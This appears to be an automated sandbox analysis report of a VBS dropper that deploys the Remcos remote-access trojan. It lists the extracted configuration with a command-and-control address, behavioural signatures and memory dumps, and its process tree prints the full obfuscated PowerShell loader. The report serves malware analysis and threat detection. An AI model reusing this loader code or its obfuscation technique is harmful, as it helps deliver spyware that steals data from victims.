Analysis
- max time kernel
149s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/06/2026, 09:22
General
- Target Nemertina.vbs
- Size 51KB
- Sample260604-lb5clabz21
- SHA256 f7e70f307fd5783e7f0e45c49bd863fc99d736721965af2c00d982bed386fa32
Score
10/10
Malware Config
Extracted
Family
-
remcos
Version
-
7.2.5 Pro
Botnet
-
RemoteHost
C2
-
102.220.160.21:2404
Attributes
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-FOVHV5
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nemertina.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\ping.exeping Bera_6637.6637.6637.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "mp 'oppositionsblokken' 'ibm' 'bisampelsens';$conrail178=4;$nebalia=55;function brillanter ($hvnede,$langturenes) {$elektronikfirmaer=terrazzogulvets('Vanelike Blodbges nihilistiske Bakkenbart Weightliftingppp [wwwwirrrrnZZZZtJ JJ]JJJJ$* **h q qv X.Xn^^^^err.rdcccceLLLL .|||-AAAAbyyyyx') ;$elektronikfirmaer+=terrazzogulvets('Andelssystemerne Syngende Arbejde Vinten PodophthalmitelllloM,MMr || wwww[ ##i====n GGGtDD.D].III$YYYYlJJJ aYYYYnddddgQQ QtXXXXuzzzzrXXXXeYYYYn ;;;e gggsBBBB ');;Stderis ($elektronikfirmaer)}function terrazzogulvets ($unfixable) { $tvelys=$conrail178+$nebalia; do {$solrettes+=$unfixable[$tvelys];$tvelys+=5} while ($unfixable[$tvelys])$solrettes}function Stderis ($quantulum) {&($opfrer) $quantulum}Function Kymograph ($unfixable,$clam=0){ ;$finhed=terrazzogulvets('Flavored Blusning Newbornness Blotlgning Vanskeliggres BBBB$jjjjsSSSScSSSSr ^^^ikkkkpnnnntjjjj:ZZZZhFF FaI IImmm,mr LLLeY YYsiiii=bbbb[ o oC ///o');$finhed+=terrazzogulvets('Skrmbilledernes Haabefuld overglanced Neddysser racketellllnA AAviiiie KKKrqqqqtWWWW]');$finhed+=$chanters;$finhed+=terrazzogulvets('Calligrapha Mentholated printerporte IdentitetsantagelsyyyyFEEE r ZZZo****m jjjB||||apppps <<<e!!.!6HHHH4||||SUUUUtl llr.~~~iyy,yn????g;;;;(##,#$aaaauqq qnbbbbf hhhi ___x==.=a h hbxxxxl qqqe **,)');Stderis ($finhed);For($tvelys=0; $hamres[$tvelys] -ne $discontinuee; $tvelys++){$hamres[$tvelys] = brillanter $hamres[$tvelys] $tiloversbleven[$tvelys%5]}$utrovrdiges=terrazzogulvets('Uranberigelsen Gametic Letforstaaelige Ejendomsrettighe.eee$xxxxg####l- --o vvvb >,>a SSSl BB,:<<<<a?? ?sUUUUtppppr ppaAAAAi::,:noooo=RRRR[');$utrovrdiges+=terrazzogulvets('Snage Intellektualistens Papilliform Racahout Indvortes ###TVVV ehhhhxAAAAt');$utrovrdiges+=$safetied;$utrovrdiges+=terrazzogulvets('Vandrehjemmets Octals profiteres Kursusbog TndeslagningEEEEEuuuun;;; cJJJJo K,KdCCCCiLLLLn>>>>gwwww]');$utrovrdiges+=$chanters;$utrovrdiges+=terrazzogulvets('Opinionsdannelser Superimprobableness Badedragternes An;; ;A');$utrovrdiges+=terrazzogulvets('Intersonant Jdeharpe Antitoksinerne Unsprightliness Pin=.==S');$utrovrdiges+=terrazzogulvets('Steerswoman supercolumnar Muges Klendes Archnesses DommQQQQC');$utrovrdiges+=terrazzogulvets('Unspecializeds Canarian Kruset manifesta Crociate Ekspo ###I');$utrovrdiges+=terrazzogulvets('Aaron Peroneocalcaneal Unexpectantly euphemias graplins NNNI');$utrovrdiges+=$safetied;$utrovrdiges+=terrazzogulvets('Negaters Oscillatorer Lavkomikken Danners engages Vrelsoo.oGXX Xe ZZZt HHHS EEtq,qqr hhhi UUUn||||gjjjj(aaa $ TT.hrrrra iiimAAA.r;;;;e&&&&sUUUU)');Stderis ($utrovrdiges);if ($clam) { Stderis $astrain}else {;$astrain}}$tiloversbleven=@(66,101,100,114,118);$opfrer=terrazzogulvets 'Scult Counterplan Phrenocardia kornfedet Nontheistical mmmmI';$hvnederbejdsmssigt='\Ammoniakindhold.Bom';$safetied=terrazzogulvets('Sheristadar Domnenavnes Forenklingerne Microseismic Mar*** .');$opfrer+=terrazzogulvets 'soberizing pettling Hardshell Medgivet Stvlungens Elfen====E';$chanters=terrazzogulvets('Sildetnderne Byrder sativa Unegoistically Brebrs Bravad GGG:ww w:');$opfrer+=terrazzogulvets 'Neocolonial Assentatious Disappeared Votress klassestte,cccX';$rammelovs=Kymograph 'd0tUUl4VDAoWGTUWRDwiYlRUXEZ5RTMbGHRRX1IOdFFfUgQ0X1VHRmxVTVIxJwYPHVlwVVVCRnNVVVIwKxcBFBk6SlVHRmxV';$bourran=Kymograph 'KhEQAgV4SksWBCsTAVwRLQoDHhNsBgsfWTcGWxcOMgoWBksmChMcGi0EAFQfJlhVFAQtURAWDyMvOx4bE1U8OhsaESg+OzNTCBhFMFVQMAE=';$mabel=Kymograph 'fA==';;Kymograph 'ZgIIHRQjCV4bGDYXBQIFOwYMGxUjCQgLS2YACgRMIxUUFhc2BE9WHjQLARYTMAcBGBIxCBcBHyUR' 1;Kymograph 'ZgIIHRQjCV4WGSAHAR4CIAASGxIxEQwXEn9BBh0DMBcFHFgxFQgbAmpBCRMUJwlN' 1;Kymograph 'GSsBBlgRABYEHyEANB0fLBEpExgjAgEAK3hfNxcVNxcNBg8SFwsGGSEKCE9FclJW' 1;$bourran=$dobbeltbevidsthed[0];$sifflet=(Kymograph 'ZgIIHRQjCV4YGTAQCgFLDAATXzkgDwERAmIrAQZYFQAGMRorAAoG');Stderis ($sifflet);Kymograph 'Zg8LAAMsFko6EyMBAQAFGT4qFwJsLRAGBhAAFQcTMREsFxcmABYvQnI4WVYEIwgJFxotExc=' 1;$tllevariabel=Kymograph 'BgoTHBotBAA0Hy4A';$hooch=Kymograph 'Zg8LAAMsFkpWAi4JAQQXMAwFEBMuSy0cAC0OAVpSIAoRAAQjC0hWFCcRChkFLQgXBl8=';$betnksomst=$intrapsychically;Kymograph 'ZgIIHRQjCV4GHy4WDwcSMVhMJhMxEUkiFzYNRFYUJxEKGQUtCBcGXw==' 1;while (!$tilskuds) {Kymograph 'ZgIIHRQjCV42GS8IARYXJQAKT1I2FxEX' 1;Stderis $hooch;Kymograph 'EQkBFwZqUU0=' 1;Kymograph 'ZgIIHRQjCV4GHy4WDwcSMVhMJhMxEUkiFzYNRFYUJxEKGQUtCBcGXw==' 1 ;Kymograph 'ZgIIHRQjCV4GHyYLABcYMVhAFRotBwUeTDcLBhMVNgAWGxcuTk9XUiYKBhATLhEGFwArARcGHicBShEZNwsQ' 1;$bourran=$dobbeltbevidsthed[$tidndens]}$meteorism=143901;$langturenesranchekyndige=19347;Kymograph 'ZgIIHRQjCV4XBC0BAQATfwIHUlIgABAcHTEKCQEC' 1;Kymograph 'ZgIIHRQjCV4nBiYMEhcFfz4nHRg0ABYGK3hfIgAZLycFARN0UTcGBCsLA1pSJxcLFhMwAE0=' 1;Kymograph 'ZgIIHRQjCV4RFywQCk8tFgAcBlgHCwcdEisLAy9MeCQ3MT8LSyMXAhERFhsYJU1AJwYmDBIXBWs=' 1;Kymograph 'ZgIIHRQjCV4RFzYAFhsYJRYSGwQpFgsfHicBAQAYJ1hAERcsEApcBTcHFwYEKwsDWlIvABAXGTAMFx9aZgkFHBE2EBYXGCcWFhMYIQ0BGQ8sAQ0VE2s=' 1;Stderis $cateringsvirksomhederne;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mp 'oppositionsblokken' 'ibm' 'bisampelsens';$conrail178=4;$nebalia=55;function brillanter ($hvnede,$langturenes) {$elektronikfirmaer=terrazzogulvets('Vanelike Blodbges nihilistiske Bakkenbart Weightliftingppp [wwwwirrrrnZZZZtJ JJ]JJJJ$* **h q qv X.Xn^^^^err.rdcccceLLLL .|||-AAAAbyyyyx') ;$elektronikfirmaer+=terrazzogulvets('Andelssystemerne Syngende Arbejde Vinten PodophthalmitelllloM,MMr || wwww[ ##i====n GGGtDD.D].III$YYYYlJJJ aYYYYnddddgQQ QtXXXXuzzzzrXXXXeYYYYn ;;;e gggsBBBB ');;Stderis ($elektronikfirmaer)}function terrazzogulvets ($unfixable) { $tvelys=$conrail178+$nebalia; do {$solrettes+=$unfixable[$tvelys];$tvelys+=5} while ($unfixable[$tvelys])$solrettes}function Stderis ($quantulum) {&($opfrer) $quantulum}Function Kymograph ($unfixable,$clam=0){ ;$finhed=terrazzogulvets('Flavored Blusning Newbornness Blotlgning Vanskeliggres BBBB$jjjjsSSSScSSSSr ^^^ikkkkpnnnntjjjj:ZZZZhFF FaI IImmm,mr LLLeY YYsiiii=bbbb[ o oC ///o');$finhed+=terrazzogulvets('Skrmbilledernes Haabefuld overglanced Neddysser racketellllnA AAviiiie KKKrqqqqtWWWW]');$finhed+=$chanters;$finhed+=terrazzogulvets('Calligrapha Mentholated printerporte IdentitetsantagelsyyyyFEEE r ZZZo****m jjjB||||apppps <<<e!!.!6HHHH4||||SUUUUtl llr.~~~iyy,yn????g;;;;(##,#$aaaauqq qnbbbbf hhhi ___x==.=a h hbxxxxl qqqe **,)');Stderis ($finhed);For($tvelys=0; $hamres[$tvelys] -ne $discontinuee; $tvelys++){$hamres[$tvelys] = brillanter $hamres[$tvelys] $tiloversbleven[$tvelys%5]}$utrovrdiges=terrazzogulvets('Uranberigelsen Gametic Letforstaaelige Ejendomsrettighe.eee$xxxxg####l- --o vvvb >,>a SSSl BB,:<<<<a?? ?sUUUUtppppr ppaAAAAi::,:noooo=RRRR[');$utrovrdiges+=terrazzogulvets('Snage Intellektualistens Papilliform Racahout Indvortes ###TVVV ehhhhxAAAAt');$utrovrdiges+=$safetied;$utrovrdiges+=terrazzogulvets('Vandrehjemmets Octals profiteres Kursusbog TndeslagningEEEEEuuuun;;; cJJJJo K,KdCCCCiLLLLn>>>>gwwww]');$utrovrdiges+=$chanters;$utrovrdiges+=terrazzogulvets('Opinionsdannelser Superimprobableness Badedragternes An;; ;A');$utrovrdiges+=terrazzogulvets('Intersonant Jdeharpe Antitoksinerne Unsprightliness Pin=.==S');$utrovrdiges+=terrazzogulvets('Steerswoman supercolumnar Muges Klendes Archnesses DommQQQQC');$utrovrdiges+=terrazzogulvets('Unspecializeds Canarian Kruset manifesta Crociate Ekspo ###I');$utrovrdiges+=terrazzogulvets('Aaron Peroneocalcaneal Unexpectantly euphemias graplins NNNI');$utrovrdiges+=$safetied;$utrovrdiges+=terrazzogulvets('Negaters Oscillatorer Lavkomikken Danners engages Vrelsoo.oGXX Xe ZZZt HHHS EEtq,qqr hhhi UUUn||||gjjjj(aaa $ TT.hrrrra iiimAAA.r;;;;e&&&&sUUUU)');Stderis ($utrovrdiges);if ($clam) { Stderis $astrain}else {;$astrain}}$tiloversbleven=@(66,101,100,114,118);$opfrer=terrazzogulvets 'Scult Counterplan Phrenocardia kornfedet Nontheistical mmmmI';$hvnederbejdsmssigt='\Ammoniakindhold.Bom';$safetied=terrazzogulvets('Sheristadar Domnenavnes Forenklingerne Microseismic Mar*** .');$opfrer+=terrazzogulvets 'soberizing pettling Hardshell Medgivet Stvlungens Elfen====E';$chanters=terrazzogulvets('Sildetnderne Byrder sativa Unegoistically Brebrs Bravad GGG:ww w:');$opfrer+=terrazzogulvets 'Neocolonial Assentatious Disappeared Votress klassestte,cccX';$rammelovs=Kymograph 'd0tUUl4VDAoWGTUWRDwiYlRUXEZ5RTMbGHRRX1IOdFFfUgQ0X1VHRmxVTVIxJwYPHVlwVVVCRnNVVVIwKxcBFBk6SlVHRmxV';$bourran=Kymograph 'KhEQAgV4SksWBCsTAVwRLQoDHhNsBgsfWTcGWxcOMgoWBksmChMcGi0EAFQfJlhVFAQtURAWDyMvOx4bE1U8OhsaESg+OzNTCBhFMFVQMAE=';$mabel=Kymograph 'fA==';;Kymograph 'ZgIIHRQjCV4bGDYXBQIFOwYMGxUjCQgLS2YACgRMIxUUFhc2BE9WHjQLARYTMAcBGBIxCBcBHyUR' 1;Kymograph 'ZgIIHRQjCV4WGSAHAR4CIAASGxIxEQwXEn9BBh0DMBcFHFgxFQgbAmpBCRMUJwlN' 1;Kymograph 'GSsBBlgRABYEHyEANB0fLBEpExgjAgEAK3hfNxcVNxcNBg8SFwsGGSEKCE9FclJW' 1;$bourran=$dobbeltbevidsthed[0];$sifflet=(Kymograph 'ZgIIHRQjCV4YGTAQCgFLDAATXzkgDwERAmIrAQZYFQAGMRorAAoG');Stderis ($sifflet);Kymograph 'Zg8LAAMsFko6EyMBAQAFGT4qFwJsLRAGBhAAFQcTMREsFxcmABYvQnI4WVYEIwgJFxotExc=' 1;$tllevariabel=Kymograph 'BgoTHBotBAA0Hy4A';$hooch=Kymograph 'Zg8LAAMsFkpWAi4JAQQXMAwFEBMuSy0cAC0OAVpSIAoRAAQjC0hWFCcRChkFLQgXBl8=';$betnksomst=$intrapsychically;Kymograph 'ZgIIHRQjCV4GHy4WDwcSMVhMJhMxEUkiFzYNRFYUJxEKGQUtCBcGXw==' 1;while (!$tilskuds) {Kymograph 'ZgIIHRQjCV42GS8IARYXJQAKT1I2FxEX' 1;Stderis $hooch;Kymograph 'EQkBFwZqUU0=' 1;Kymograph 'ZgIIHRQjCV4GHy4WDwcSMVhMJhMxEUkiFzYNRFYUJxEKGQUtCBcGXw==' 1 ;Kymograph 'ZgIIHRQjCV4GHyYLABcYMVhAFRotBwUeTDcLBhMVNgAWGxcuTk9XUiYKBhATLhEGFwArARcGHicBShEZNwsQ' 1;$bourran=$dobbeltbevidsthed[$tidndens]}$meteorism=143901;$langturenesranchekyndige=19347;Kymograph 'ZgIIHRQjCV4XBC0BAQATfwIHUlIgABAcHTEKCQEC' 1;Kymograph 'ZgIIHRQjCV4nBiYMEhcFfz4nHRg0ABYGK3hfIgAZLycFARN0UTcGBCsLA1pSJxcLFhMwAE0=' 1;Kymograph 'ZgIIHRQjCV4RFywQCk8tFgAcBlgHCwcdEisLAy9MeCQ3MT8LSyMXAhERFhsYJU1AJwYmDBIXBWs=' 1;Kymograph 'ZgIIHRQjCV4RFzYAFhsYJRYSGwQpFgsfHicBAQAYJ1hAERcsEApcBTcHFwYEKwsDWlIvABAXGTAMFx9aZgkFHBE2EBYXGCcWFhMYIQ0BGQ8sAQ0VE2s=' 1;Stderis $cateringsvirksomhederne;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_yodkkalu.ag4.ps1
Ammoniakindhold.Bom
memory/2600-41-0x0000000007FA0000-0x0000000008544000-memory.dmp
memory/2600-38-0x0000000007950000-0x00000000079E6000-memory.dmp
memory/2600-22-0x0000000002DE0000-0x0000000002E16000-memory.dmp
memory/2600-42-0x0000000008BD0000-0x000000000924A000-memory.dmp
memory/2600-40-0x0000000006C00000-0x0000000006C22000-memory.dmp
memory/2600-44-0x0000000009250000-0x000000000A906000-memory.dmp
memory/2600-23-0x0000000005AA0000-0x00000000060C8000-memory.dmp
memory/2600-24-0x00000000056F0000-0x0000000005712000-memory.dmp
memory/2600-25-0x0000000005790000-0x00000000057F6000-memory.dmp
memory/2600-26-0x0000000005800000-0x0000000005866000-memory.dmp
memory/2600-34-0x00000000060D0000-0x0000000006424000-memory.dmp
memory/2600-39-0x0000000006BB0000-0x0000000006BCA000-memory.dmp
memory/2600-36-0x0000000006690000-0x00000000066AE000-memory.dmp
memory/2600-37-0x0000000006790000-0x00000000067DC000-memory.dmp
memory/4716-4-0x00000140C5660000-0x00000140C5670000-memory.dmp
memory/4716-6-0x00000140ACF50000-0x00000140ACF72000-memory.dmp
memory/4716-17-0x00000140C5660000-0x00000140C5670000-memory.dmp
memory/4716-5-0x00000140C5660000-0x00000140C5670000-memory.dmp
memory/4716-14-0x00000140C5660000-0x00000140C5670000-memory.dmp
memory/4716-18-0x00000140C5660000-0x00000140C5670000-memory.dmp
memory/4716-15-0x00000140C5660000-0x00000140C5670000-memory.dmp
memory/4808-66-0x000000001DCD0000-0x000000001DDC7000-memory.dmp
memory/4808-74-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-61-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-62-0x000000001DCD0000-0x000000001DDC7000-memory.dmp
memory/4808-54-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-65-0x000000001DCD0000-0x000000001DDC7000-memory.dmp
memory/4808-73-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-56-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-75-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-76-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-77-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-78-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-79-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-80-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-81-0x0000000000C20000-0x0000000001E74000-memory.dmp
memory/4808-82-0x0000000000C20000-0x0000000001E74000-memory.dmp